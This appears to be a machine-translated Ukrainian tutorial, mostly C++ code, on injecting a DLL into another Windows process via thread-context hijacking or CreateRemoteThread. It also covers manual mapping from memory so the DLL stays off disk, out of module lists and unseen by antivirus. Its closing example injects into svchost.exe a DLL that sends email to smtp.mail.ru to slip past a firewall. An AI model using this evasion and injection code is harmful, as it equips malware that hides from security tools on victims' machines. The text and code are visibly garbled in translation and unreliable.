Вдосконалений метод впровадження dll
Впровадженню DLL так чи інакше (зазвичай у зв'язку з перехопленням API) присвячено досить велику кількість статей. Але ні в одній з тих, які я Новомосковскл, ані слова, як впровадити цю DLL в чужій процес непомітно, тобто Не зберігайте на диску файл самої DLL, а оперуючи ним безпосередньо в пам'яті.
Навіщо використовувати DLL?
Основні вимоги до впроваджуваного коду:
Припустимо, нам необхідно використовувати під впихається коді функції з wsock32.dll і kernel32.dll. Скористаємося наступним кодом:
if (! GetModuleHandle ( «wsock32.dll»))
LoadLibrary ( «wsock32.dll»);
if (! GetModuleHandle ( «kernel32.dll»))
LoadLibrary ( «kernel32.dll»);
Для впровадження DLL обома методами (зовнішньої DLL і внутрішньої DLL) я написав клас CInjectDllEx. Цей клас містить всі необхідні процедури для роботи. Для його використання необхідно просто викликати його процедуру StartAndInject:
BOOL StartAndInject (
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD * dwResult);
[In] lpszProcessPath - Шлях до програми, яку необхідно запустити і в яку буде впроваджено код Dll.
[In] bDllInMemory - Якщо цей параметр TRUE, то використовується аргумент lpDllBuff, інакше - використовується аргумент lpszDllPath.
[In] lpDllBuff - Покажчик на вміст Dll в пам'яті. Повинен бути NULL, якщо параметр bDllInMemory приймає значення FALSE.
[In] lpszDllPath - Повний шлях до впроваджуваної Dll. Повинен бути NULL, якщо параметр bDllInMemory приймає значення TRUE.
[In] bReturnResult - Якщо цей параметр TRUE, то параметр dwResult використовується, інакше він не використовується і повинен бути NULL.
[Out] dwResult - Покажчик на змінну, в якій буде збережений код завершення, переданий в функцію ExitProcess в Dll. Повинен бути NULL, якщо bReturnResult приймає значення FALSE.
Значення, що повертаються:
Ця процедура повертає TRUE, якщо вдалося впровадити в процес код Dll. Інакше повертається FALSE.
Впровадження DLL, що знаходиться на диску
Вельми зручний і ефективний метод впровадження в чужій код своєї DLL, але цей метод має деякі недоліки, так як необхідно зберігати DLL на диску, і завантаження зайвої DLL легко виявити програмами типу PE-Tools. Також на зайву DLL можуть звернути увагу антивіруси і фаєрволли (наприклад Outpost Fierwall), що теж небажано.
Наведемо код, що дозволяє впровадити зовнішню DLL в чужій процес:
BOOL CInjectDllEx :: InjectDllFromFile (PCHAR ModulePath)
#pragma pack (1)
struct
BYTE PushCommand;
DWORD PushArgument;
WORD CallCommand;
DWORD CallAddr;
BYTE PushExitThread;
DWORD ExitThreadArg;
WORD CallExitThread;
DWORD CallExitThreadAddr;
LPVOID AddrLoadLibrary;
LPVOID AddrExitThread;
CHAR LibraryName [MAX_PATH + 1];
> Inject;
#pragma pack ()
// Отримуємо поточний контекст первинної нитки процесу
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if (GetThreadContext (Thread, # 038; Context))
// Змінюємо контекст так, щоб виконувався наш код
Context.Eip = Code;
if (SetThreadContext (Thread, # 038; Context))
// Запускаємо нитка
bResumed = ResumeThread (Thread)! = (DWORD) -1;
if (bResumed)
WaitForSingleObject (Thread, INFINITE);
>
>
if (! bResumed)
// Виконати машинний код
HANDLE hThread = CreateRemoteThread (Process, 0,0, (LPTHREAD_START_ROUTINE) Memory, 0,0,0);
if (! hThread)
return FALSE;
WaitForSingleObject (hThread, INFINITE);
CloseHandle (hThread);
>
return TRUE;
>
Єдиний аргумент цієї функції - шлях до впроваджуваної
DLL. Функція повертає TRUE, якщо код DLL був впроваджений і запущений в цільовому процесі. Інакше - FALSE.
Зверніть увагу, що в даній функції спочатку робиться спроба запустити віддалений потік без виклику CreateRemoteThread з використанням функцій GetThreadContext, SetThreadContext. Для цього ми отримуємо хендл головною нитки процесу, після чого отримуємо контекст нитки (GetThreadContext), змінюємо вміст регістра EIP так, щоб він вказував на наш впроваджуваний код, а потім запускаємо нитка (ResumeThread). Якщо не вдається запустити віддалений код цим методом, то просто викликається CreateRemoteThread.
Впровадження DLL, що знаходиться в пам'яті
Існує метод, що дозволяє завантажити DLL в інший процес більш непомітним способом. Для цього потрібно впровадити в процес образ цієї DLL, потім налаштувати у неї таблицю імпорту та релокі, після чого виконати її точку входу. Цей метод дозволяє не зберігати DLL на диску, а проводити дії з нею виключно в пам'яті, також ця DLL не буде видно в списку завантажених процесом модулів, і на неї не зверне увагу фаерволл:
BOOL CInjectDllEx :: InjectDllFromMemory (LPVOID Src)
#ifndef NDEBUG
return FALSE;
#endif
ImageNtHeaders = PIMAGE_NT_HEADERS (DWORD (Src) + DWORD (PIMAGE_DOS_HEADER (Src) -> e_lfanew));
DWORD Offset = 0x10000000;
LPVOID pModule;
do
Offset + = 0x10000;
pModule = VirtualAlloc (LPVOID (ImageNtHeaders-> OptionalHeader.ImageBase +
Offset), ImageNtHeaders-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (pModule)
VirtualFree (pModule, 0, MEM_RELEASE);
pModule = VirtualAllocEx (Process, LPVOID (ImageNtHeaders-> OptionalHeader.ImageBase +
Offset), ImageNtHeaders-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
>
> While (! (PModule || Offset> 0x30000000));
MapLibrary (pModule, Src);
if (! _ ImageBase)
return FALSE;
TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;
WriteProcessMemory (Process, pModule, _ImageBase, _ImageSize, 0);
HANDLE hThread = InjectThread (DllEntryPoint, # 038; DllLoadInfo, sizeof (DllLoadInfo));
if (hThread)
WaitForSingleObject (hThread, INFINITE);
CloseHandle (hThread);
return TRUE;
>
return FALSE;
>
Функції, які не описані тут, можна знайти у доданих до статті файлах.
Обхід фаєрволла як приклад застосування вдосконаленого впровадження DLL
// Зменшуємо розмір бібліотеки
#ifdef NDEBUG
#pragma optimize ( «gsy», on)
#pragma comment (linker, »/ IGNORE: 4078")
#pragma comment (linker, »/ RELEASE»)
#pragma comment (linker, »/ merge: .rdata = .data»)
#pragma comment (linker, »/ merge: .text = .data»)
#pragma comment (linker, »/ merge: .reloc = .data»)
#if _MSC_VER> = 1000
#pragma comment (linker, »/ FILEALIGN: 0x200")
#endif
#pragma comment (linker, »/ entry: DllMain»)
#endif
// Вихід з програми
VOID ExitThisDll (SOCKET s, BOOL bNoError)
closesocket (s);
WSACleanup ();
ExitProcess (bNoError);
>
// Передати запит серверу
VOID SendRequest (SOCKET s, LPCSTR tszRequest)
if (send (s, tszRequest, lstrlen (tszRequest), 0) == SOCKET_ERROR)
ExitThisDll (s, FALSE);
>
// Отримати відповідь від сервера
VOID ReceiveAnswer (SOCKET s, LPSTR tszAnswer)
ZeroMemory (tszAnswer, 512);
if (recv (s, tszAnswer, 512,0) == SOCKET_ERROR)
ExitThisDll (s, FALSE);
if (! ((tszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '2' # 038; # 038; tszAnswer [2] == '0') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '0') || (TszAnswer [0] == '3' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '4') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '2' # 038; # 038; tszAnswer [2] == '1') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '0')))
ExitThisDll (s, FALSE);
>
// Точка входу
VOID WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
if (! GetModuleHandle ( «wsock32.dll»))
LoadLibrary ( «wsock32.dll»);
if (! GetModuleHandle ( «kernel32.dll»))
LoadLibrary ( «kernel32.dll»);
WSADATA wsaData;
WSAStartup (MAKEWORD (1,1), # 038; wsaData);
SOCKET s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET)
WSACleanup ();
ExitProcess (FALSE);
>
PHOSTENT pHostEnt = gethostbyname ( «smtp.mail.ru»);
if (! pHostEnt)
ExitThisDll (s, FALSE);
struct sockaddr_in entAddr;
memmove (# 038; entAddr.sin_addr.s_addr, * pHostEnt-> h_addr_list, sizeof PCHAR);
entAddr.sin_family = AF_INET;
entAddr.sin_port = htons (25);
if (connect (s, (struct sockaddr *) # 038; entAddr, sizeof entAddr) == INVALID_SOCKET)
ExitThisDll (s, FALSE);
CHAR tszRequestAnswer [512] = «»;
ReceiveAnswer (s, tszRequestAnswer);
// Передаємо привіт сервера
SendRequest (s, "helo friend \ r \ n");
// Отримуємо привіт від сервера
ReceiveAnswer (s, tszRequestAnswer);
// Готуємо сервер до прийому даних
SendRequest (s, "data \ r \ n");
// Сервер повідомляє про готовність
ReceiveAnswer (s, tszRequestAnswer);
// Заповнюємо поле «Куди»
lstrcpy (tszRequestAnswer, "To:«);
lstrcat (tszRequestAnswer, lpszRecipientAddress);
lstrcat (tszRequestAnswer, "\ r \ n");
SendRequest (s, tszRequestAnswer);
// Заповнюємо поле «Від кого»
SendRequest (s, "From: [email protected] \ r \ n");
// Тема повідомлення
SendRequest (s, "Subject: Test from the article \ r \ n");
SendRequest (s, "Content-Type: text / plain; \ r \ n charset = \» Windows-1251 \ "; \ r \ n \ r \ n");
// Завершуємо передачу
SendRequest (s, "\ r \ n. \ R \ n");
ReceiveAnswer (s, tszRequestAnswer);
// Виходимо
SendRequest (s, "quit \ r \ n");
// Підтвердження (ОК)
ReceiveAnswer (s, tszRequestAnswer);
ExitThisDll (s, TRUE);
>
Впровадивши цей код в один з довірених процесів, фаерволл виявить факт того, що повідомлення надіслано, але не видасть ніяких попереджень. Найчастіше довіреною фаєрволлу процесом є стандартний системний процес svchost.exe. Його ми і використовуємо:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
CInjectDllEx cide;
DWORD dwResult = FALSE;
Тут спочатку впроваджується DLL, що знаходиться на диску, потім - в пам'яті.
У разі впровадження з пам'яті, DLL знаходиться в ресурсах впроваджує програми.
В архіві (test_and_sources.zip) знаходиться клас CInjectDllEx, тестова DLL і програма впровадження цієї
DLL.
Покажи цю статтю друзям: